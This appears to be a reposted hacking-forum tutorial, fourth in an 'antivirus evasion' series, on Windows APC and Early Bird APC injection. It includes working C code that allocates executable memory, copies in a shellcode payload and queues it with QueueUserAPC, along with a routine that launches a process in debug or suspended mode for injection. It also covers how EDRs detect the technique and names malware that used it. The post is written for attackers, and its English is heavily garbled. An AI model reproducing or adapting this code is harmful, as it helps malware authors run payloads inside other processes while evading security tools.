Antivirus evasion expertise part 4 (advance injcetions)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Author CryptNeeded
Source https://xss.is/threads/134333/


I am CRYPTNEEDED and i am writing this article for an xss.is members

Topic Of Disussions:
-
apc injections.
- early apc injections.

Today we will first talk about an new way to run our shellcode without using or creating an new thread. this approach will called an APC injections

APC = Asynchronous Procedure Calls are an mechanism of windows that allow program to execute the task asynronously while running other program. Basically apc injections are implemented in as an kernal-mode there or used in the specific thread.window process injections basically allow attackers , hackers and red teamers to execute there shellcode inside another running process. one of them technique we are going to cover is APC asynchronous procedure call. apc injection is not an new concept as we discuss it was an part of windows internal from many years. the focus of while developing this was to allow the codes or developers queue function for execution.

there is one noticeable thing not all threads run apc function only the alretable states can do. in simple words we can say the stat which was on hold or on wait state.
APC function must be go from an winapi called QueueUserAPC. now there is what Microsoft documentation say an application queues on apc to thread by calling the queueuserapc function. the calling thread will specifiy address of APC function.

Types Of APC Injections:
- Classic APC injections (it will normall inject shellcode in running process)
  • Early bird Apc Injection (it will craeta an new process in suspended process)
  • Heavens gate apc injection. (its advance technique and it will utilize basically wow64 to bypass x64 monitor while execution of 32 bit inside 64 bit process)

lets deep dive and explore our this topics.

QueueUserApc:
now this will accept an 3 main arguments:
1 pfcAPC: basically address of apc function.
2 hThread: it handle an alertable thread.
3 dwData: it will take care if apc functions require an parameters, it will be passed from here.


Код: Скопировать в буфер обмена
Код:
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);


How we will place Thread in alertable state:
as we talk in past it will basically execute the queued function which need in an alertaable state. it will be done via using one of the following winapis:
SleepEX
MsgWaitForMuiltipleObjectsEx
WaitForSingleObjectEx
WaitForMultipleObjectEx
SignalObjectAndWait


now this functions will be utilized for synchroning threads and to improve there performance in applications.
but in this scenario pass an simple dummy event will be enough.

to create our dummy event we will utilized an CreateEvent winapi. now the new created object will synchronizate object and allow threads to communicate with each other by signaling and waiting for events.

USAGE OF FUNCTION:
any of following function can use to scarifical alertable thread to run our queued apc payload or anything. below are our examples

USING Sleepx
VOID AlertableFunction1() {
// The 2nd parameter should be 'TRUE'
SleepEx(INFINITE, TRUE);
}

Using WaitForSingleObjectEx


Код: Скопировать в буфер обмена
Код:
VOID AlertableFunction2() {

    HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent) {
        // The 3rd parameter should be 'TRUE'
        WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
        CloseHandle(hEvent);
    }
}

Using WaitForMultipleObjectsEx

Код: Скопировать в буфер обмена
Код:
VOID AlertableFunction3() {

    HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent){
        // The 5th parameter should be 'TRUE'
        WaitForMultipleObjectsEx(1, &hEvent, TRUE, INFINITE, TRUE);
        CloseHandle(hEvent);
    }
}

Using MsgWaitForMultipleObjectsEx

Код: Скопировать в буфер обмена
Код:
VOID AlertableFunction4() {

    HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent) {
        // The 5th parameter should be 'MWMO_ALERTABLE'
        MsgWaitForMultipleObjectsEx(1, &hEvent, INFINITE, QS_KEY, MWMO_ALERTABLE);
        CloseHandle(hEvent);
    }
}


Using SignalObjectAndWait

Код: Скопировать в буфер обмена
Код:
VOID AlertableFunction5() {
  
    HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
    HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);

    if (hEvent1 && hEvent2) {
        // The 4th parameter should be 'TRUE'
        SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
        CloseHandle(hEvent1);
        CloseHandle(hEvent2);
    }
}

Suspended Threads:
QueueUserApc can be success if the thread will created in suspended state. if the method was to the execution of the payload then queueuserapc will be call out first and then suspended thread will be next. make sure thread will be created in suspended state if suspend an existing thread will not work.

Implementation of APC injection user:

  • first we will create thread run of the previous mention function for alertable state.
  • then we need to inject payload in memory.
  • and then finally thread handle and payload base address will be go from queueuserapc base address will be passed an an input.

Apc Injection Function:
  • RunViaApcInjection is function to utilize the apc injection it need 3 arguments.
  • hThread : handle to alertable or suspended thread.
  • pPayload pointer to base address of payload.
  • sPayloadSize will be the size of payload.

Код: Скопировать в буфер обмена
Код:
BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    PVOID pAddress = NULL;
    DWORD dwOldProtection = NULL;

  
    pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
        printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    memcpy(pAddress, pPayload, sPayloadSize);
  

    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // If hThread is in an alertable state, QueueUserAPC will run the payload directly
    // If hThread is in a suspended state, the payload won't be executed unless the thread is resumed after
    if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
        printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

Advantages of the APC injection:
no new threads needed to create. unlike our previous models we are creating an thread in apc ijections we dont need to create any new thread.
due to there behavior it have less detections

Few Disadvantages of APC injections:
it require an alertable state it will only work on few conditions which we discuss in past.
modern security tools like crowd strike able to detect this mechanism easily because they default detect apc function.
another dis advantage is limited it will not be used on running process.
Differnce between APC injection and LocalInjections:

- Apc injection will queues function into another process. localinjection will directly execute

- apc injection will not used New Thread Local injections normally use.

- apc injection need to use alertable thread while localinjections will not used.

- apc will execute when thread was in alertable state and local injection will be execute directly.


EARLY BIRD APC INJECTIONS:
in our old model we disucess QueueUserApc it perform local apc injection. but now we will use same api to run or execute our payload but in remote process. not much difference but sometime help in less detections results and slightly different approach.

now we know apc injection will used suspended or an alertable thread for the execution of payload some place it was difficult so here is the soltution.

the solution is create a suspended psoccess while utilization of CreatePorcess. winapi use the handle to suspend thread. but the suspended thread must fulfill the requirements to utilize as an apc injection we disuss earlier.

EARLY BIRD IMPLEMENTATIONS AND THERE LOGIC:
here is the logic of early bird apc injcetions:

1 create suspended process by using thr CREATE_SUSPENDED flag.
2 write the payload address of new target.
3 get suspended threads handle from our CreatePorcess with payload base address and then deliver to the QueuuUserApc.
4 then resume the thread via utilization of ResumeThread to execute our payload.


Early Bird Apc Injections function:
CreateSuspendedProccess2 is an function that performs an early bird apc injection and it usually required the 4 arguments.

- lpProcessName The name of the process for create.

- dwProcessId - pointer to a DWORD which will receive the newly created process's PID.

- hProcess - Pointer to HANDLE that will receive the newly created process's handle.

- hThread - Pointer to HANDLE that will receive the newly created process's thread.

- BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {


Код: Скопировать в буфер обмена
Код:
   CHAR lpPath   [MAX_PATH * 2];
    CHAR WnDr     [MAX_PATH];

    STARTUPINFO            Si    = { 0 };
    PROCESS_INFORMATION    Pi    = { 0 };

    // Cleaning the structs by setting the element values to 0
    RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    // Setting the size of the structure
    Si.cb = sizeof(STARTUPINFO);

    // Getting the %WINDIR% environment variable path (That is generally 'C:\Windows')
    if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
        printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Creating the target process path
    sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
    printf("\n\t[i] Running : \"%s\" ... ", lpPath);

    // Creating the process
    if (!CreateProcessA(
        NULL,
        lpPath,
        NULL,
        NULL,
        FALSE,
        DEBUG_PROCESS,        // Instead of CREATE_SUSPENDED     
        NULL,
        NULL,
        &Si,
        &Pi)) {
        printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("[+] DONE \n");

    // Filling up the OUTPUT parameter with CreateProcessA's output
    *dwProcessId        = Pi.dwProcessId;
    *hProcess           = Pi.hProcess;
    *hThread            = Pi.hThread;

    // Doing a check to verify we got everything we need
    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)

        return TRUE;
  
    return FALSE;
}

How the advance security detect apc injections:
specially edrs analyse the behavior of file how it was opening and then how it working due to injection it will be trigger an maleare in simple words we can say while doing process injection specially creating in a suspended state will trigger red flag.

then on few blogs i found edrs hook in queueuserapc to detect red flag functions.

Few Past Malwares which utilize APC injections:
one of them is Bumblebee loader: the main purpose of this loader is to bypass avs .
then in history we have seen some ransomware group utilized this approach and normally we know what ransomwares teams its not allow to talk about ransomwares so i will skip few things.

in past history years there is one trickbot malware its an banking trojan which use apc injections.

dridex is also an malware which used apc injections to get stealth against avs
.

this was the end for today and i dont want to make my readerds an script kiddie this was an proof of concpt you have to utilise this code with older projects means you not able to do copy just copy paste you have to learn all parts to understand properly. in next i will try to cover binray entropy it will be an intresting topic .
Thank You
 
Сверху Снизу